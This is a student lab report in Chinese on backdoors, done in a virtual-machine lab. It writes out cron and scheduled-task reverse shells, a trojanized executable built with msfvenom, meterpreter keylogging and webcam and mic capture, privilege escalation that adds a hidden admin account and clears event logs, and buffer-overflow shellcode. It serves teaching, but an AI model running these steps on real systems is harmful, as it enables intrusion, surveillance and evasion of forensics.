網絡對抗實驗2—后門原理與實踐


實 驗 報 告

課程:網絡對抗技術

班級:1912      姓名:陳發強      學號:20191206

實驗名稱:后門原理與實踐         實驗日期:2022.3.31


實驗目的

  1. 了解網絡后門的原理與危害。

  2. 學會使用 netcat 、socat 獲取主機 shell

  3. 理解 TCP 反彈 shell 的原理

  4. 初步掌握 metasploit 的使用

實驗內容

  1. 使用netcat獲取主機操作Shell,cron啟動

  2. 使用socat獲取主機操作Shell, 任務計划啟動

  3. 使用MSF meterpreter 生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

  4. 使用MSF meterpreter 生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權

  5. 使用MSF生成shellcode 注入到實踐1中的pwn1中,獲取反彈連接Shell

實驗過程

(一)使用netcat獲取主機操作Shell,cron啟動

思路:

  1. 攻擊者 持續監聽 1206 端口

  2. 受害者 cron 添加定時任務,定時反向連接攻擊者的1206端口

過程:

攻擊者 Windows 10 IP :192.168.144.134

受害者 Kali IP :192.168.144.151

  1. windows 使用natcat監聽1206端口
ncat.exe -lvp 1206

  1. kali 使用nc命令測試連通性
nc 192.168.144.134 1206 -e /bin/sh

可以連通
  1. kali添加定時任務,執行nc命令,連接windows攻擊者
crontab -e

48 * * * * nc 192.168.144.134 1206 -e /bin/sh

  1. windows用ncat監聽1206端口,等待每小時的48分,受害者kali主動連接自己

(二)使用socat獲取主機操作Shell, 任務計划啟動

思路:

  1. 攻擊者kali使用socat監聽1206端口

  2. 受害者windows在任務啟動計划中添加定時任務,定時主動連接kali的1206端口

過程:

攻擊者 Windows 10 IP :192.168.144.134

受害者 Kali IP :192.168.144.151

  1. kali監聽1206端口
socat tcp-listen:1206 -     

  1. 測試連通性
Windows

socat.exe TCP:192.168.144.151:1206 exec:cmd.exe   //報錯,管道不存在

socat.exe tcp:192.168.144.151:1206 exec:cmd.exe,pty,stderr 

可以連通

  1. windows添加定時任務,主動連接攻擊者kali
Win+R compmgmt.msc

在系統工具中,找到任務計划程序,點擊右側的創建任務

常規設置:任務名

觸發器:設置成一次吧

操作:設置成 C:\Users\doxide\Desktop\socat\socat.exe

      參數 tcp:192.168.144.151:1206 exec:cmd.exe,pty,stderr

其他保持默認即可

  1. kali監聽1206端口,等待windows的主動連接

(三)使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

思路:

  1. kali ncat 監聽,Win10 ncat連接 kali ,將hello.exe發送給kali

  2. kali 接收 hello.exe 並使用 msfvenom 植入反彈shell的后門

  3. kali ncat 監聽,將毒化后的hello.exe 發送給連接者 Win10

  4. kali 進入msfconsole控制台,監聽端口,等待Win10運行有毒的 hello.exe 連接自己,從而獲得shell

過程

kali接受windows的文件

kali監聽,輸出重定向

nc -lvp 1206 > 1206hack.exe

windows連接,輸入重定向(坑:必須是絕對路徑)

ncat.exe 192.168.144.151 1206 < C:\Users\doxide\Desktop\hello.exe 

kali毒化1206hack.exe

msfvenom -p windows/meterpreter/reverse_tcp -x ./1206hack.exe -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.144.151 LPORT=1206 -f exe > 1206hack.exe

//這個后來windows會顯示不能運行。其實不應該encoder,因為windows沒有decoder,payload會沒辦法運行,我覺得是這樣
//由於不是緩沖區溢出攻擊,也沒必要繞過字符串的00截斷
//加上-k參數,保持原來程序的功能,改成

msfvenom -p windows/meterpreter/reverse_tcp -k -x ./1206hack.exe LHOST=192.168.144.151 LPORT=1206 -f exe > 1206hack.exe

//還是不能運行
//后來發現是 ncat 傳文件沒傳完整,要耐心等待......
//然后加上encoder也是可以正常運行的
//-k 參數有點問題,在windows運行報錯了
//最后確定用下面這個

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp -x ./hello.exe -e x86/shikata_ga_nai -i 5 LHOST=192.168.144.151 LPORT=1206 -f exe > 1206hack.exe


或者

//單純的后門,沒有原來程序的功能
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -f exe > 1206hack.exe

kali把有毒的1206hack.exe 傳回給windows

nc -lvp 1206 < 1206hack.exe

ncat.exe 192.168.144.151 1206 > C:\Users\doxide\Desktop\1206hack.exe 

kali進入msf控制台,准備監聽來自windows的反彈shell連接

對msf控制台進行配置,依次輸入以下命令

use exploit/multi/handler		        #使用監聽模塊
set payload windows/meterpreter/reverse_tcp     #使用與windows后門相同的payload
set LHOST 192.168.144.151			#Kali ip
set LPORT 1206                                  #kali port 

run

windows運行帶有后門的程序,kali msfconsole獲得session

(四)使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權

思路:

  1. 在上一步攻擊成功的基礎上,獲得session之后,使用相應指令,即可完成 錄音、攝像頭、擊鍵記錄、截屏等功能

  2. 在獲得 session 的基礎上,POST 模塊提權。

過程:

  1. 獲取 錄音、攝像頭、擊鍵記錄、截屏
record_mic -d 5      //錄音 5 秒

webcam_list          //列出網絡攝像頭        //沒有
webcam_snap          //用攝像頭拍照

keyscan_start        //開始記錄鍵盤
keyscan_dump         //顯示捕獲到的鍵盤記錄
keyscan_stop         //停止記錄鍵盤

screenshare          //生成一個html,用瀏覽器打開,可以實時獲取屏幕信息
screenshot           //獲取截屏

  1. POST 模塊提權

方法一:先試一下直接getsystem能不能行

getsystem          //報錯了

getuid

方法二:嘗試利用其它漏洞提權

search ms16 arch:x64
                                                                                                                                                                                                     
Matching Modules
================

   #  Name                                                       Disclosure Date  Rank    Check  Description
   -  ----                                                       ---------------  ----    -----  -----------
   0  exploit/windows/browser/ms16_051_vbscript                  2016-05-10       normal  No     Internet Explorer 11 VBScript Engine Memory Corruption
   1  exploit/windows/fileformat/office_ole_multiple_dll_hijack  2015-12-08       normal  No     Office OLE Multiple DLL Side Loading Vulnerabilities
   2  exploit/windows/local/ms16_075_reflection                  2016-01-16       normal  Yes    Windows Net-NTLMv2 Reflection DCOM/RPC
   3  exploit/windows/local/ms16_075_reflection_juicy            2016-01-16       great   Yes    Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)
   4  exploit/windows/local/ms16_014_wmi_recv_notif              2015-12-04       normal  Yes    Windows WMI Receive Notification Exploit

//都不行
//換一個
use post/windows/escalate/ms10_073_kbdlayout              //也不行,Windows 10 (10.0 Build 10240). is not vulnerable.

//看來win10還是有些東西

方法三:盜取令牌

meterpreter > use incognito //進入這個模塊
meterpreter > list_tokens –u //查看存在的令牌
meterpreter > impersonate_token NT AUTXXXX\SYSTEM //令牌是DelegationTokens一列,getuid查看,兩個斜杠
//失敗

方法四:Bypassuac

use exploit/windows/local/bypassuac

//失敗 Windows 10 (10.0 Build 10240). is not vulnerable.

方法五:Hash

use post/windows/gather/smart_hashdump

//失敗,權限不夠

方法六:添加服務

use exploit/windows/local/service_permissions          //失敗
    
search service arch:x64 platform:windows

Matching Modules
================

   #   Name                                                               Disclosure Date  Rank       Check  Description
   -   ----                                                               ---------------  ----       -----  -----------
   0   exploit/windows/local/applocker_bypass                             2015-08-03       excellent  No     AppLocker Execution Prevention Bypass
   1   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move       2020-03-10       excellent  Yes    Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability
   2   exploit/windows/local/cve_2020_17136                               2020-03-10       normal     Yes    CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP
   3   exploit/windows/local/anyconnect_lpe                               2020-08-05       excellent  Yes    Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)
   4   exploit/multi/misc/osgi_console_exec                               2018-02-13       normal     Yes    Eclipse Equinox OSGi Console Command Execution
   5   exploit/multi/misc/freeswitch_event_socket_cmd_exec                2019-11-03       excellent  Yes    FreeSWITCH Event Socket Command Execution
   6   exploit/windows/local/gog_galaxyclientservice_privesc              2020-04-28       excellent  Yes    GOG GalaxyClientService Privilege Escalation
   7   exploit/windows/smb/generic_smb_dll_injection                      2015-03-04       manual     No     Generic DLL Injection From Shared Resource
   8   exploit/windows/http/generic_http_dll_injection                    2015-03-04       manual     No     Generic Web Application DLL Injection
   9   exploit/windows/misc/hp_dataprotector_cmd_exec                     2014-11-02       excellent  Yes    HP Data Protector 8.10 Remote Command Execution
   10  exploit/multi/misc/java_jdwp_debugger                              2010-03-12       good       Yes    Java Debug Wire Protocol Remote Code Execution
   11  exploit/windows/smb/smb_relay                                      2001-03-31       excellent  No     MS08-068 Microsoft Windows SMB Relay Code Execution
   12  exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077  2021-09-16       excellent  Yes    ManageEngine ServiceDesk Plus CVE-2021-44077
   13  exploit/windows/local/nvidia_nvsvc                                 2012-12-25       average    Yes    Nvidia (nvsvc) Display Driver Service Local Privilege Escalation
   14  exploit/windows/fileformat/office_ole_multiple_dll_hijack          2015-12-08       normal     No     Office OLE Multiple DLL Side Loading Vulnerabilities
   15  exploit/windows/http/oracle_endeca_exec                            2013-07-16       excellent  Yes    Oracle Endeca Server Remote Command Execution
   16  exploit/windows/local/current_user_psexec                          1999-01-01       excellent  No     PsExec via Current User Token
   17  exploit/windows/local/bits_ntlm_token_impersonation                2019-12-06       great      Yes    SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.
   18  exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec                2021-07-07       good       Yes    Sage X3 Administration Service Authentication Bypass Command Execution
   19  exploit/windows/misc/webdav_delivery                               1999-01-01       manual     No     Serve DLL via webdav server
   20  exploit/windows/http/sitecore_xp_cve_2021_42237                    2021-11-02       excellent  Yes    Sitecore Experience Platform (XP) PreAuth Deserialization RCE
   21  exploit/windows/winrm/winrm_script_exec                            2012-11-01       manual     No     WinRM Script Exec Remote Code Execution
   22  exploit/windows/local/service_permissions                          2012-10-15       great      No     Windows Escalate Service Permissions Local Privilege Escalation
   23  exploit/windows/local/ms16_075_reflection                          2016-01-16       normal     Yes    Windows Net-NTLMv2 Reflection DCOM/RPC
   24  exploit/windows/local/ms16_075_reflection_juicy                    2016-01-16       great      Yes    Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)

嘗試了十幾個一下,好像都不太行

唉,不能操之過急,還是先信息搜集吧

run post/multi/recon/local_exploit_suggester        //先漏洞掃描一波

run post/multi/gather/env                          //收集系統信息

run post/windows/gather/checkvm`                   //看看是不是虛擬機

run post/windows/gather/forensics/enum_drives      //看眼磁盤分區

run post/windows/gather/enum_services              //看看開了什么服務

run post/windows/gather/enum_applications          //看看應用軟件

run post/windows/gather/dumplinks                  //看看最近的操作

run post/windows/gather/enum_logged_on_users        //看看登錄的用戶

run post/windows/gather/enum_snmp                  //看看有沒有snap服務


//也看不出來有什么漏洞......

又嘗試幾個 payload,只有下面這個爆了一個假shell

看來 微軟 還是很厲害的,只能提權 win7 了

run killav

getsystem                  //失敗

run post/multi/recon/local_exploit_suggester 

[+] 192.168.144.154 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 192.168.144.154 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 192.168.144.154 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
[+] 192.168.144.154 - exploit/windows/local/cve_2020_1054_drawiconex_lpe: The target appears to be vulnerable.
[+] 192.168.144.154 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 192.168.144.154 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
[+] 192.168.144.154 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.

background

use exploit/windows/local/bypassuac_sdclt、options、set、run    //拿到了一個新的會話,但是沒有管理員權限

use exploit/windows/local/ms16_014_wmi_recv_notif        //拿到了管理員權限

getsystem      //[-] Already running as SYSTEM

getuid         //Server username: NT AUTHORITY\SYSTEM

shell

chcp 65001

net user hacker hacker /add

net localgroup administrators hacker /add      //成功添加hacker用戶為管理員

exit

clearev        //清楚入侵痕跡

打開win7的控制面板,可以看到新添加的hacker管理員

經過win7提權,發現之前win10提權有致命的問題,kali的端口沒開對,改下端口和防火牆重新嘗試提權

run killav

run post/multi/recon/local_exploit_suggester

[+] 192.168.144.134 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 192.168.144.134 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 192.168.144.134 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
[+] 192.168.144.134 - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.
[+] 192.168.144.134 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.

use exploit/windows/local/bypassuac_dotnet_profiler

getsystem      //...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

getuid         //Server username: NT AUTHORITY\SYSTEM

shell

chcp 65001

net user hacker hacker /add

net localgroup administrators hacker /add      //成功添加hacker用戶為管理員

exit

clearev        //清楚入侵痕跡

成功在 win10 添加 hacker 管理員

(五)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell

思路:

  1. 生成shellcode

  2. MSF監聽

  3. 注入pwn1,反彈shell

  4. 遠程注入Ubuntu

過程:

  1. 使用msfvenom生成shellcode

先找一個合適的payload

msfvenom -l payloads | grep linux | grep x86 | grep tcp | grep reverse

    linux/x86/meterpreter/reverse_ipv6_tcp              Inject the mettle server payload (staged). Connect back to attacker over IPv6
    linux/x86/meterpreter/reverse_nonx_tcp              Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter/reverse_tcp                   Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter/reverse_tcp_uuid              Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter_reverse_tcp                   Run the Meterpreter / Mettle server payload (stageless)
    linux/x86/metsvc_reverse_tcp                        Stub payload for interacting with a Meterpreter Service
    linux/x86/shell/reverse_ipv6_tcp                    Spawn a command shell (staged). Connect back to attacker over IPv6
    linux/x86/shell/reverse_nonx_tcp                    Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell/reverse_tcp                         Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell/reverse_tcp_uuid                    Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell_reverse_tcp                         Connect back to attacker and spawn a command shell
    linux/x86/shell_reverse_tcp_ipv6                    Connect back to attacker and spawn a command shell over IPv6

//本次shellcode不能有 \x00和\x0a  使用-b參數

//試一下 linux/x86/meterpreter/reverse_tcp

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -b '\x00\x0a' -f c 

//把生成的shellcode放到C代碼中進行驗證
//gcc -m32 ; exestack -s;
//能短暫連接上msfconsole的監聽並生成會話,但會立即爆出段錯誤退出。

===========================================================================================================

//排查是否是 64 位的問題
//試一下 linux/x64/meterpreter/reverse_tcp

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -b '\x00\x0a' -f c 

//C語言運行shellcode,還是一樣的短暫連接,爆段錯誤
//64位也爆段錯誤,可能是payload的問題

===========================================================================================================

//多換幾個payload

msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -b '\x00\x0a' -f c                              //失敗

msfvenom -p linux/x86/metsvc_reverse_tcp LHOST=192.168.144.151 LPORT=1206 -e x86/shikata_ga_nai -b '\x00\x0a' -f c       //失敗

msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.144.151 LPORT=1206 -b '\x00\x0a' -f c                         //失敗

msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.144.151 LPORT=1206 -e x86/shikata_ga_nai -b '\x00\x0a' -f c   //失敗

//編碼與否不影響shellcode的正常執行  -e x86/shikata_ga_nai

msfvenom -p linux/x86/meterpreter/reverse_tcp_uuid LHOST=192.168.144.151 LPORT=1206 -b '\x00\x0a' -f c                   //失敗

===========================================================================================================

//看來不是payload的問題
//后知后覺,msfvenom的payload換了,mfs監聽的payload沒換
//重新嘗試

msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -e x86/shikata_ga_nai -i 5 -b '\x00\x0a' -f c

//可以了

  1. 注入1206pwn

實驗一的緩沖區溢出攻擊的准備工作就略過了

返回應地址覆蓋為 0xffffd170

perl -e 'print "A" x 32;print "\x70\xd1\xff\xff";print "\xbf\xf7\x44\x67\x81\xd9\xcc\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x3a\x31\x7d\x15\x03\x7d\x15\x83\xed\xfc\xe2\x02\xff\xc0\x23\xd0\x76\xd5\xff\xf1\x03\xcd\x0b\x5c\xdd\xc4\x45\x6a\x2c\x8a\xb7\x11\xa3\xc8\xbb\xef\x90\xef\x3f\xd2\xb0\xae\x38\xaa\xce\xcb\xe1\x3e\x44\x5d\x10\xe1\x40\x65\x8a\x33\x90\x59\x51\x63\x57\x58\xb1\xab\x33\x78\x02\xc1\x52\xe0\x0e\x46\x23\x8a\xd8\x92\x12\xcf\x6e\x36\x59\xbc\xe9\x7a\xf7\x73\xfc\xe6\x87\xb6\x3e\x4a\x1c\xed\x36\x33\xed\xae\x90\x5d\xf3\x94\xb1\x2d\xad\x17\x37\x75\xb8\x1d\x06\xdf\xf6\x1c\x8a\x8e\x84\xa3\xa7\xeb\xbd\x0b\x76\x46\x04\xbd\x04\xdf\x97\xe4\x3b\x2a\x26\x6d\x2f\xc2\x92\xea\xfe\x92\x14\x93\xea\x77\x04\xa2\xd6\x84\xca\xe3\xc2\xa3\x29\x68\xd0\xe5\x78\xeb\x1d\xb7\x86\x04\xee\x57\xf3\xaf\x7f\xf0\x97\x72\xf1\x6c\xe8\xd0\x9c\xc6\x45\x6d\xba\x41\x07\x6c\xf9\x0b\xf6\x09\xc3\x79\x03\x66\x4a\x7e\x7b\x01\x4c\x23\x57\xc3\x11\xca\xd8\xde\x1e\x04\xaa\xbf\x18\x85\x66\xc3\x19\xb7\x93\x2d\xd4\x59\x61\x64\x26\x65\x33\x15\x27\xe1\xf0\xab\xd4\x53\xad\x7b\xe9\x69\x4f\xd7\xe4\x11\x69\x4a\x9c\xf1\xd2\x93\x57"'> hack2.bin

(cat hack2.bin ; cat)| ./1206pwn

//段錯誤

GDB attach一下,layout asm ; x/16x 0xffffd170

//shellcode確實寫進去了,eip也成功跳轉了

  1. 錯誤排查
1. 是否是編碼問題?        //刪除-e參數,再來一遍,還是不行

2. 是否是payload問題?    //換一個,linux/x86/meterpreter/reverse_tcp 還是不行

3. 是否是 -b 的問題?     //反匯編一下有-b 的shellcode,再反匯編一下沒有-b 的shellcode

//發現,這兩個的匯編語言差距有些大,沒有-b參數的匯編明顯更合理一些。猜測-b參數可能對shellcode進行了轉換,而轉換之后不能直接用於緩沖區溢出攻擊。

//尋尋覓覓,發現linux/x86/meterpreter/reverse_nonx_tcp的名字挺有意思的,不會是生成的shellcode沒有\x00的意思吧?

4. 嘗試payload換成linux/x86/meterpreter/reverse_nonx_tcp    //生成shellcode一看,果然沒有0x00;再反匯編一看,匯編也挺合理。

//而且和我實驗一寫的 tcp反彈shellcode比較相似。

//我實驗一的 tcp反彈shellcode 是可以配合 MSF或nc 攻擊成功的

//預感這次沒問題

  1. 高興地拿新的shellcode注入1206pwn
perl -e 'print "A" x 32;print "\x70\xd1\xff\xff";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x90\x97\x66\x68\x04\xb6\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1
"'> hack2.bin

//msfconsole 監聽

(cat hack2.bin ;cat) | ./1206pwn

//成功!!!

  1. Ubuntu 遠程注入 kali,緩沖區溢出攻擊,kali 反彈 shell 回連 Ubuntu
  • Ubuntu 攻擊者 IP = 192.168.144.137 msfconsole 監聽 1206 端口

  • Kali 受害者 IP = 192.168.144.151 在 1206 端口 運行有緩沖區溢出漏洞的 1206pwn

先測試一下kali本地注入能否連上 Ubuntu 的 msfconsole,測試成功啊,就不截圖了。

下面開始遠程注入

kali

nc -lvp 1206 -e ./1206pwn

Ubuntu

msfconsole 啟一個監聽,payload用對應的 linux/x86/shell/reverse_nonx_tcp

msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.144.137 LPORT=1206 -f c

perl -e 'print "A" x 32;print "\x70\xd1\xff\xff";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x90\x89\x66\x68\x04\xb6\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'>hack.bin

(cat hack.bin ;cat) | nc 192.168.144.151 1206 

哇,終於成功了!果然肯花時間還是能做出來的。

可以看到 Ubuntu msf 已經拿到了 session

接下來即使只要kali的1206pwn還在運行,會話就能保持

kali,除了nc顯示有連接以外,沒有其他異常

實驗體會

        本次實驗踩了不少的坑,而且網上也搜不到相關的解決辦法,在這四面楚歌的情況下,我還是想把實驗完完本本地做出來。尤其是在 POST 模塊 win10 提權,和 msfvenom 生成 shellcdoe 注入 pwn1 的實驗中,我看到不少同學沒怎么嘗試 win10 的提權,不能緩沖區溢出攻擊注入shellcode,就直接毒化ELF文件,但是我不想這樣。

        我回想了一下老師上課說的排查問題的方法,並有意識地運用到本次實驗中。所幸基礎知識比較扎實,通過不斷控制單一變量的方法,不斷嘗試,還真的解決了一些問題。同時進一步認識到,查看官方手冊 和 使用help 是重要的學習途徑,當然這要建立在有了一定的經驗和理解的基礎上。

        這次能用msfvenom生成能緩沖區溢出的shellcode,也是建立在實驗一的基礎上。如果沒有親手寫過execve nc 反彈shell的匯編的話,也許永遠也發現不了 加了-b 參數的shellcode是不太對勁的,也就不會想到linux/x86/shell/reverse_nonx_tcp可能是大佬留下的沒有0x00截斷的shellcode,也就不會多次嘗試這個payload。其他的 payload 不是有 0x00 就是有 0x0a ,加了 -b 又不能正常緩沖區溢出成功。

        不得不說知識的相互交叉,還真是奇妙。

        代價就是耗費了大量的時間,二十多個小時不知不覺就過去了,真是一個 bug 改一天......

        最后我還是把辛苦得到的實驗成果,分享給了同學,哈哈,獨樂樂不如眾樂樂

        實驗最開始還有一個小插曲,cron 選編輯器,看到官方標注nano最簡單,然后選了nano,結果不是圖形化的界面,也沒vim用得熟悉,就想換成vim,結果換不了...差點吐血...還好發現了select-editor命令,設置用戶的優先編輯器為vim,然后重啟cron就是vim編輯了。

基礎問題回答

(1)例舉你能想到的一個后門進入到你系統中的可能方式?

  1. 下載非官方軟件。

  2. 網站漏洞。比如說我如果把自己的小破網站開起來,就會存在 文件上傳漏洞啊,SQL注入漏洞啊,XSS啊...
    利用漏洞寫個后門,在拿個菜刀蟻劍連接還是輕輕松松的。

  3. SSH弱口令。不少機器都是開了SSH遠程登錄的,弱口令爆破。

  4. 主動插入帶毒的U盤,或者別人趁我不注意,插入帶毒的U盤

(2)例舉你知道的后門如何啟動起來(win及linux)的方式?

  1. windows
  • 開機自啟動
  • 注冊表啟動
  • 定時任務管理器
  • 配合其他漏洞,如遠程命令執行
  • 網站直接訪問。比如已經成功寫入了PHP的一句話木馬,直接訪問就可以了,菜刀蟻劍也可以。
  1. linux
  • cron定時任務
  • 運行帶后門的程序
  • 配合其他漏洞,如遠程命令執行
  • 網站直接訪問。比如已經成功寫入了PHP的一句話木馬,直接訪問就可以了,菜刀蟻劍也可以。

(3)Meterpreter有哪些給你映像深刻的功能?

  1. 功能強。

    集成了很多模塊,從信息搜集,到花式滲透攻擊,再到提權,全都有對應的功能模塊。

  2. 入門快。

    search,use ,set ,options,run,session,基本就可以用起來了。

  3. 精通難。

    要成功利用漏洞,就必須要知道漏洞的細節和原理。如果只是稀里糊塗地、淺嘗輒止地攻擊,msf那么多功能放在那也是白搭。
    我在本次實驗中也體會到了,即使湊巧選對了 payload,不根據實際情況進行調整,也是不會輕易成功的。

(4)如何發現自己有系統有沒有被安裝后門?

  1. 殺毒軟件

  2. 異常開啟的端口

  3. 流量分析

  4. 檢查定時任務

  5. 系統莫名其妙地出現異常、風扇異常響起、內存突然增加......

  6. 手工檢查 任務管理器 、啟動項 、注冊表......


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM